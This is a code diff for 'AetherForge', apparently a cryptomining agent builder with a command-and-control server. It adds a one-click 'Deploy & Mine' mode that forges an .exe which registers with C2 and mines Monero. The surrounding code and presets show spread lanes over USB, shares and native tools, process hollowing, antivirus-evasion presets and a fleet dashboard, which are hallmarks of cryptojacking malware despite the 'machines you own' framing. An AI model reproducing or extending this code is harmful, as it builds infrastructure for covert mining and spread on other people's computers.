diff --git a/README.md b/README.md index c46b554..9b30b4f 100644 --- a/README.md +++ b/README.md @@ -316,6 +316,16 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe **Requirements:** Windows 10/11 on control PC. Outbound internet to your pool. +### Simple start (deploy → test → mine) + +Three steps — no spread, no triple onion, no Probe & Join required: + +1. **Calibrate** — set your XMR **wallet** and **pool** (SupportXMR or your upstream). +2. **Forge → Simple mode → Deploy & Mine** — one click forges an in-process worker (`simple_deploy` baked in). Run the `.exe` **once** on each PC you own. +3. **Command Deck** — status shows **Testing → Mining** (or a clear failure reason). Online with 0 H/s? Use **Run diagnostics** or **Restart mining** on the banner. + +Honest scope: **deploy** here means C2 registration + mining tier probe on that host — not lateral spread or registry staging to other machines. + ### Operator path (dev control PC) 1. Double-click **`devrun.bat`** in the project root. diff --git a/agent/client/client.go b/agent/client/client.go index 18a9fdc..0dcc1cf 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -149,7 +149,7 @@ func (c *AgentClient) Run() error { c.miningChain = c.newMiningChainRunner() if isSeeder { deploy.StartSeederStaging(c.cfg) - } else if deploy.WantsDeferMining() { + } else if deploy.WantsDeferMining() || c.cfg.SimpleDeploy { go c.startMiningWhenReady(chainCtx) } else { c.miningChain.Start(chainCtx) @@ -395,6 +395,7 @@ func (c *AgentClient) authenticate() error { UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")), LotlOnionEnabled: c.cfg.LotlOnionEnabled, LotlPolicyFromServer: c.cfg.LotlPolicyFromServer, + SimpleDeploy: c.cfg.SimpleDeploy, JoinLane: c.getJoinLane(), FleetRole: config.NormalizeFleetRole(c.cfg.FleetRole), SeederMode: c.cfg.SeederMode, @@ -427,6 +428,7 @@ func (c *AgentClient) authenticate() error { return fmt.Errorf("auth failed: %s", resp.Error) } c.applyAuthLotlPolicy(resp) + c.kickMiningAfterAuth() c.startContingencyIfEnabled(c.miningCtx) c.applyAuthFleetRole(resp) deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip) @@ -1482,3 +1484,21 @@ func buildWSURL(serverURL string) (string, error) { u.Fragment = "" return u.String(), nil } + +// kickMiningAfterAuth restarts the mining chain with server-pulled tier/onion policy. +// Mining may have started before auth with forge defaults; auth applies Calibrate policy. +func (c *AgentClient) kickMiningAfterAuth() { + if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode { + return + } + if c.cfg.SimpleDeploy || deploy.WantsDeferMining() { + return + } + if c.miningCtx == nil || c.miningChain == nil { + return + } + go func() { + log.Printf("[mining] restarting chain after auth with server policy") + c.miningChain.Restart(c.miningCtx) + }() +} diff --git a/agent/client/protocol.go b/agent/client/protocol.go index a6a01c8..387a6f4 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -51,6 +51,7 @@ type AuthPayload struct { UTM string `json:"utm,omitempty"` LotlOnionEnabled bool `json:"lotl_onion_enabled,omitempty"` LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"` + SimpleDeploy bool `json:"simple_deploy,omitempty"` JoinLane string `json:"join_lane,omitempty"` ParentAgentID string `json:"parent_agent_id,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"` diff --git a/agent/client/simple_deploy_test.go b/agent/client/simple_deploy_test.go new file mode 100644 index 0000000..db7232a --- /dev/null +++ b/agent/client/simple_deploy_test.go @@ -0,0 +1,63 @@ +package client + +import ( + "context" + "encoding/json" + "testing" + "time" + + "crypto-miner-agent/miner" +) + +func TestWireTripleOnionNilWhenSimpleDeploy(t *testing.T) { + setupNoContainerRuntime(t) + cfg := baseMiningCfg() + cfg.SimpleDeploy = true + c := miningChainTestClient(t, cfg) + r := c.newMiningChainRunner() + if r.onion != nil { + t.Fatal("expected nil triple onion when SimpleDeploy baked") + } +} + +func TestSimpleDeployPolicySkipsTripleOnion(t *testing.T) { + setupNoContainerRuntime(t) + c := miningChainTestClient(t, baseMiningCfg()) + raw, _ := json.Marshal(miner.SimpleDeployTripleOnionPolicy()) + c.applyTripleOnionPolicyJSON(raw) + r := c.newMiningChainRunner() + if r.onion != nil { + t.Fatal("expected nil triple onion when server simple_deploy policy applied") + } +} + +func TestSimpleDeployWaitsForC2BeforeMining(t *testing.T) { + setupNoContainerRuntime(t) + cfg := baseMiningCfg() + cfg.SimpleDeploy = true + c := miningChainTestClient(t, cfg) + c.miningChain = newTestMiningChainRunner(t, c) + + ctx, cancel := context.WithTimeout(context.Background(), 300*time.Millisecond) + defer cancel() + go c.startMiningWhenReady(ctx) + + time.Sleep(150 * time.Millisecond) + if r := c.miningChain.Status(); r.ActiveMethod != "" { + t.Fatalf("simple deploy should wait for C2 before starting, active=%q", r.ActiveMethod) + } + + c.connected.Store(true) + time.Sleep(200 * time.Millisecond) +} + +func TestKickMiningAfterAuthSkipsSimpleDeploy(t *testing.T) { + setupNoContainerRuntime(t) + cfg := baseMiningCfg() + cfg.SimpleDeploy = true + c := miningChainTestClient(t, cfg) + c.miningChain = newTestMiningChainRunner(t, c) + c.miningCtx = context.Background() + // must not panic or restart when simple deploy + c.kickMiningAfterAuth() +} diff --git a/agent/client/triple_onion_chain.go b/agent/client/triple_onion_chain.go index ef1867e..1a120c1 100644 --- a/agent/client/triple_onion_chain.go +++ b/agent/client/triple_onion_chain.go @@ -26,6 +26,9 @@ func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) { if err := json.Unmarshal(raw, &p); err != nil { return } + if p.SimpleDeploy { + p = miner.SimpleDeployTripleOnionPolicy() + } c.mu.Lock() c.triplePolicy = miner.NormalizeTripleOnionPolicy(p) c.triplePolicyLoaded = true @@ -34,6 +37,9 @@ func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) { func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator { c := r.client + if c.cfg.SimpleDeploy || c.tripleOnionPolicy().SimpleDeploy { + return nil + } policy := c.tripleOnionPolicy() return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{ RunReconTier: r.runReconTier, diff --git a/agent/config/config.go b/agent/config/config.go index 3de7630..94a81de 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -113,6 +113,9 @@ type BuiltinConfig struct { // HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3). HTTPSBeaconAfterMin int + // SimpleDeploy skips triple-onion recon/deploy and starts mining tier chain after C2 auth. + SimpleDeploy bool + // LOTL Onion — ordered native-tool spread contingencies (no extra miner exe drop). LotlOnionEnabled bool LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth diff --git a/agent/miner/triple_onion.go b/agent/miner/triple_onion.go index d9df1bb..359139b 100644 --- a/agent/miner/triple_onion.go +++ b/agent/miner/triple_onion.go @@ -21,6 +21,7 @@ const ( // TripleOnionPolicy is server-pulled gate + chain ordering for the triple onion. type TripleOnionPolicy struct { + SimpleDeploy bool `json:"simple_deploy,omitempty"` PatchFirst bool `json:"patch_first,omitempty"` MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"` SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"` @@ -29,6 +30,16 @@ type TripleOnionPolicy struct { DeployLanes []string `json:"deploy_lanes,omitempty"` } +// SimpleDeployTripleOnionPolicy is the server/agent policy for deploy→test→mine without spread lanes. +func SimpleDeployTripleOnionPolicy() TripleOnionPolicy { + return TripleOnionPolicy{ + SimpleDeploy: true, + PatchFirst: false, + SkipMiningOnHighRisk: false, + HighRiskThreshold: 100, + } +} + // DefaultTripleOnionPolicy works out of the box with diagnostic-driven contingencies. func DefaultTripleOnionPolicy() TripleOnionPolicy { return TripleOnionPolicy{ diff --git a/server/config.go b/server/config.go index ab9c477..424fbf7 100644 --- a/server/config.go +++ b/server/config.go @@ -122,6 +122,7 @@ type WebRTCMeshPolicySettings struct { // TripleOnionSettings is Calibrate policy for the agent triple onion. type TripleOnionSettings struct { + SimpleDeploy bool `json:"simple_deploy,omitempty"` PatchFirst bool `json:"patch_first,omitempty"` MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"` SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"` diff --git a/server/internal/api/server_policy.go b/server/internal/api/server_policy.go index e6cbdbb..3982843 100644 --- a/server/internal/api/server_policy.go +++ b/server/internal/api/server_policy.go @@ -38,6 +38,7 @@ type ServerPolicy struct { // TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth. type TripleOnionPolicy struct { + SimpleDeploy bool `json:"simple_deploy,omitempty"` PatchFirst bool `json:"patch_first,omitempty"` MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"` SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"` diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 31825da..c83e87e 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -689,6 +689,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { Campaign string `json:"campaign"` UTM string `json:"utm"` LotlPolicyFromServer bool `json:"lotl_policy_from_server"` + SimpleDeploy bool `json:"simple_deploy,omitempty"` JoinLane string `json:"join_lane,omitempty"` ParentAgentID string `json:"parent_agent_id,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"` @@ -941,9 +942,16 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { "cpu_inprocess", "gpu_subprocess", "stratum_direct", } } - resp["mining_tier_policy"] = mp top := policy.TripleOnionPolicy - if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 && + if auth.SimpleDeploy || top.SimpleDeploy { + top = TripleOnionPolicy{ + SimpleDeploy: true, + PatchFirst: false, + SkipMiningOnHighRisk: false, + HighRiskThreshold: 100, + } + mp.ForceTier = "cpu_inprocess" + } else if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 && !top.MineIsolatedTier && !top.SkipMiningOnHighRisk { top.PatchFirst = true top.HighRiskThreshold = 50 @@ -953,6 +961,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } } resp["triple_onion_policy"] = top + resp["mining_tier_policy"] = mp spreadPolicy := map[string]interface{}{} if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled { spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 8d9a5ef..6b9057e 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -119,6 +119,9 @@ type BuildRequest struct { HTTPSBeaconFallback bool `json:"https_beacon_fallback"` HTTPSBeaconAfterMin int `json:"https_beacon_after_min"` + // SimpleDeploy — skip triple-onion spread lanes; mine after C2 auth (Deploy & Mine preset). + SimpleDeploy bool `json:"simple_deploy"` + // LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset). LotlOnionEnabled bool `json:"lotl_onion_enabled"` LotlPolicyFromServer bool `json:"lotl_policy_from_server"` @@ -1319,6 +1322,7 @@ func GetBuiltinConfig() BuiltinConfig { HTTPSBeaconFallback: %v, HTTPSBeaconAfterMin: %d, + SimpleDeploy: %v, LotlOnionEnabled: %v, LotlPolicyFromServer: %v, LotlOnionTiers: %s, @@ -1418,6 +1422,7 @@ func GetBuiltinConfig() BuiltinConfig { req.AgentKillAfterDays, httpsBeaconFallbackEnabled(req), httpsBeaconAfterMin(req), + req.SimpleDeploy, req.LotlOnionEnabled, req.LotlPolicyFromServer, formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)), diff --git a/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx b/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx new file mode 100644 index 0000000..7570d98 --- /dev/null +++ b/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx @@ -0,0 +1,70 @@ +import { Link } from 'react-router-dom'; +import type { Agent } from '../../types'; +import { agentsConnectedNotHashing, simpleDeployStatus } from '../../help/simpleDeploy'; +import { api } from '../../api/client'; + +interface Props { + agents: Agent[]; + selectedIds?: Set; + onAction?: (message: string) => void; +} + +/** Banner when agents are online but not hashing — with actionable fix buttons. */ +export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) { + const stuck = agentsConnectedNotHashing(agents); + if (stuck.length === 0) return null; + + const targetIds = + selectedIds && selectedIds.size > 0 + ? stuck.filter((a) => selectedIds.has(a.id)).map((a) => a.id) + : stuck.map((a) => a.id); + + const runBulk = async (action: string, label: string) => { + if (targetIds.length === 0) { + onAction?.(`No selected online agents without hashrate.`); + return; + } + try { + const r = await api.sendBulkCommand(targetIds, action); + onAction?.(`${label} → sent:${r.sent} failed:${r.failed}`); + } catch (e) { + onAction?.(`${label} failed: ${e instanceof Error ? e.message : String(e)}`); + } + }; + + const sample = stuck[0]; + const status = simpleDeployStatus(sample); + + return ( +
+
+ + {stuck.length} agent{stuck.length === 1 ? '' : 's'} connected — not hashing + +

+ {status.message}. "Deploy" here means C2 registration + mining tier probe — not lateral spread. + Check Calibrate wallet/pool, then run diagnostics or restart mining. +

+
+
+ + + + Re-forge (Deploy & Mine) + +
+
+ ); +} diff --git a/server/web/src/help/forgeSmartDefaults.ts b/server/web/src/help/forgeSmartDefaults.ts index c4bf67f..3b4c46d 100644 --- a/server/web/src/help/forgeSmartDefaults.ts +++ b/server/web/src/help/forgeSmartDefaults.ts @@ -65,6 +65,8 @@ export function pickBestServerUrl(current: string, candidates: string[]): string export function recommendedForgePreset(): Partial { return { ...FORGE_BUILD_DEFAULTS, + simple_deploy: true, + miner_execution: 'inprocess', mining_mode: 'idle', idle_threshold_pct: 20, idle_duration_minutes: 5, diff --git a/server/web/src/help/simpleDeploy.test.ts b/server/web/src/help/simpleDeploy.test.ts new file mode 100644 index 0000000..d845a35 --- /dev/null +++ b/server/web/src/help/simpleDeploy.test.ts @@ -0,0 +1,65 @@ +import { describe, expect, it } from 'vitest'; +import type { Agent } from '../types'; +import { + agentsConnectedNotHashing, + simpleDeployStatus, + simpleMinePreset, +} from './simpleDeploy'; + +function agent(partial: Partial): Agent { + return { + id: 'a1', + name: 'host-1', + status: 'online', + hashrate_15s: 0, + hashrate_1m: 0, + hashrate_15m: 0, + ...partial, + } as Agent; +} + +describe('simpleDeployStatus', () => { + it('reports mining when hashrate > 0', () => { + const s = simpleDeployStatus(agent({ hashrate_15m: 420, lotl_tier: 'cpu_inprocess' })); + expect(s.phase).toBe('mining'); + expect(s.message).toMatch(/420/); + expect(s.message).toMatch(/cpu inprocess/i); + }); + + it('reports testing when online without hashrate', () => { + const s = simpleDeployStatus(agent({ lotl_tier: 'container' })); + expect(s.phase).toBe('testing'); + expect(s.message).toMatch(/container/i); + }); + + it('reports failed when chain exhausted', () => { + const s = simpleDeployStatus(agent({ chain_exhausted: true, last_error: 'pool unreachable' })); + expect(s.phase).toBe('failed'); + expect(s.message).toMatch(/pool unreachable/); + }); + + it('reports offline when not online', () => { + expect(simpleDeployStatus(agent({ status: 'offline' })).phase).toBe('offline'); + }); +}); + +describe('agentsConnectedNotHashing', () => { + it('filters online zero-hash agents', () => { + const list = agentsConnectedNotHashing([ + agent({ id: '1', hashrate_15m: 0 }), + agent({ id: '2', hashrate_15m: 100 }), + agent({ id: '3', status: 'offline', hashrate_15m: 0 }), + ]); + expect(list.map((a) => a.id)).toEqual(['1']); + }); +}); + +describe('simpleMinePreset', () => { + it('disables spread and enables simple_deploy', () => { + const p = simpleMinePreset(); + expect(p.simple_deploy).toBe(true); + expect(p.miner_execution).toBe('inprocess'); + expect(p.lotl_onion_enabled).toBe(false); + expect(p.auto_spread).toBe(false); + }); +}); diff --git a/server/web/src/help/simpleDeploy.ts b/server/web/src/help/simpleDeploy.ts new file mode 100644 index 0000000..3172afa --- /dev/null +++ b/server/web/src/help/simpleDeploy.ts @@ -0,0 +1,99 @@ +import type { Agent } from '../types'; +import { formatHashrate } from './fleetFilters'; + +export type SimpleDeployPhase = 'offline' | 'testing' | 'mining' | 'failed'; + +export interface SimpleDeployStatus { + phase: SimpleDeployPhase; + message: string; + tier?: string; + hashrate?: number; +} + +/** Human status for deploy→test→mine operator path. */ +export function simpleDeployStatus(agent: Agent): SimpleDeployStatus { + if (agent.status !== 'online') { + return { phase: 'offline', message: 'Agent offline — run the forged worker on the host' }; + } + + const hr = + agent.mining_hashrate ?? + agent.hashrate_15m ?? + agent.hashrate_15s ?? + 0; + const tier = agent.lotl_tier || agent.active_method || undefined; + + if (hr > 0) { + const label = tier ? tier.replace(/_/g, ' ') : 'in-process'; + return { + phase: 'mining', + message: `Mining on ${label} at ${formatHashrate(hr)}`, + tier, + hashrate: hr, + }; + } + + if (agent.chain_exhausted) { + const err = agent.last_error || agent.failed_methods?.[0]?.reason; + return { + phase: 'failed', + message: err || 'Mining chain exhausted — all tiers failed', + tier, + }; + } + + if (tier) { + return { + phase: 'testing', + message: `Testing tier ${tier.replace(/_/g, ' ')} — waiting for hashrate`, + tier, + }; + } + + return { + phase: 'testing', + message: 'Connected — probing mining tiers (no spread phase on simple deploy)', + }; +} + +/** Online agents that registered but report zero hashrate. */ +export function agentsConnectedNotHashing(agents: Agent[]): Agent[] { + return agents.filter( + (a) => + a.status === 'online' && + (a.mining_hashrate ?? a.hashrate_15m ?? a.hashrate_15s ?? 0) <= 0 + ); +} + +/** Forge preset: registry + in-process mining, no spread or triple onion. */ +export function simpleMinePreset(): { + simple_deploy: boolean; + miner_execution: string; + lotl_onion_enabled: boolean; + lotl_policy_from_server: boolean; + auto_spread: boolean; + usb_spread: boolean; + share_spread: boolean; + spread_kit: boolean; + gpu_enabled: boolean; + process_hollowing: boolean; + remote_aggressive: boolean; + fusion_enabled: boolean; + mining_mode: string; +} { + return { + simple_deploy: true, + miner_execution: 'inprocess', + lotl_onion_enabled: false, + lotl_policy_from_server: false, + auto_spread: false, + usb_spread: false, + share_spread: false, + spread_kit: false, + gpu_enabled: false, + process_hollowing: false, + remote_aggressive: false, + fusion_enabled: false, + mining_mode: 'idle', + }; +} diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 11676b1..08002ac 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -77,6 +77,7 @@ import { type MissionWizardStep, } from '../help/forgeMissionWizard'; import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers'; +import { simpleMinePreset } from '../help/simpleDeploy'; import { spreadTechniqueDocUrl } from '../help/spreadTechniques'; import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader'; import './BuilderPage.css'; @@ -854,6 +855,51 @@ export default function BuilderPage() { } }; + const handleDeployAndMine = async () => { + if (!form || building || missionBusy) return; + setError(''); + setLastBuild(null); + const merged = normalizeForgeForm({ + ...applySmartForgeDefaults(form, { builds: recentBuilds, endpointCandidates }), + ...simpleMinePreset(), + worker_name: form.worker_name?.trim() || suggestWorkerName(recentBuilds), + wallet: form.wallet, + server_url: form.server_url, + pool_host: form.pool_host, + pool_port: form.pool_port, + pool_tls: form.pool_tls, + pool_pass: form.pool_pass, + }); + setForm(merged); + setOperationMode('av_safe'); + storeOperationMode('av_safe'); + + const checks = runForgePreflight(merged, !!fusionPrepFile); + if (preflightHasErrors(checks)) { + setError('Deploy & Mine preflight failed — set wallet + server URL in Calibrate/Forge first.'); + return; + } + + const cancelToken = crypto.randomUUID(); + cancelTokenRef.current = cancelToken; + setBuilding(true); + try { + const result = await api.buildAgent({ ...merged, cancel_token: cancelToken }, fusionPrepFile); + if (!result.success) throw new Error(result.error || 'Build failed'); + await finishForgeSuccess(result); + setBlueprintMsg('Deploy & Mine worker forged — run the .exe once on each host'); + setTimeout(() => setBlueprintMsg(''), 5000); + } catch (err: unknown) { + if (err instanceof Error && err.message !== 'build cancelled') { + setError(err.message || 'Deploy & Mine forge failed'); + void loadRecentBuilds(); + } + } finally { + cancelTokenRef.current = ''; + setBuilding(false); + } + }; + const applyRecommendedDefaults = async () => { if (!form) return; try { @@ -1386,11 +1432,25 @@ export default function BuilderPage() {
-

RECOMMENDED DEFAULTS — AUTO-SELECTED

-

{RECOMMENDED_DEFAULTS_BLURB}

- +

DEPLOY & MINE — SIMPLE PATH

+

+ One click: in-process RandomX, no spread, no triple onion. Agent registers on C2, probes mining tiers, + reports hashrate. "Deploy" = registry + mining — not lateral spread. +

+
+ + +
+

{RECOMMENDED_DEFAULTS_BLURB}

diff --git a/server/web/src/pages/CruciblePage.tsx b/server/web/src/pages/CruciblePage.tsx index 9711594..1f7434f 100644 --- a/server/web/src/pages/CruciblePage.tsx +++ b/server/web/src/pages/CruciblePage.tsx @@ -36,6 +36,7 @@ import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../hel import { platformIcon } from '../help/platform'; import AlsoHere from '../components/Presence/AlsoHere'; import { HelpTip } from '../components/HelpTip'; +import ConnectedNotMiningBanner from '../components/Fleet/ConnectedNotMiningBanner'; import '../components/Fleet/FullSysCheckPanel.css'; import '../components/Fleet/FleetToolbar.css'; import { TERM_RENDER_CAP, visibleTerminalLines } from '../help/terminalRenderCap'; @@ -1208,6 +1209,8 @@ export default function CruciblePage() { + + {reconHost && (
diff --git a/server/web/src/pages/DashboardPage.tsx b/server/web/src/pages/DashboardPage.tsx index 8b5b030..d290112 100644 --- a/server/web/src/pages/DashboardPage.tsx +++ b/server/web/src/pages/DashboardPage.tsx @@ -24,6 +24,7 @@ import { useFleetDeleteConfirm } from '../hooks/useFleetDeleteConfirm'; import { SpreadFunnelWidget, AuditLogStrip } from '../components/Fleet/FleetOpsWidgets'; import ErrorBoundary from '../components/ErrorBoundary'; import { HelpTip } from '../components/HelpTip'; +import ConnectedNotMiningBanner from '../components/Fleet/ConnectedNotMiningBanner'; const HashrateChart = lazy(() => import('../components/Charts/HashrateChart')); const FleetTopologyMap = lazy(() => import('../components/Visual/3D/FleetTopologyMap')); @@ -444,6 +445,7 @@ export default function DashboardPage() { return (
+ {/* Fleet Health — always above the fold */} diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index ab39a43..5f335a6 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -402,6 +402,7 @@ export interface ServerSettings { fleet_torrent_enabled?: boolean; /** Triple onion recon/deploy gates pushed to agents at auth. */ triple_onion_policy?: { + simple_deploy?: boolean; patch_first?: boolean; mine_isolated_tier?: boolean; skip_mining_on_high_risk?: boolean; @@ -682,6 +683,8 @@ export interface BuildRequest { https_beacon_fallback?: boolean; /** Minutes without WebSocket before HTTPS beacon (default 3). */ https_beacon_after_min?: number; + /** Skip triple-onion spread lanes; mine after C2 auth (Deploy & Mine). */ + simple_deploy?: boolean; /** LOTL Onion native-tool spread tier chain (LOTL Onion preset). */ lotl_onion_enabled?: boolean; /** Pull tier order from server on auth instead of baked list only. */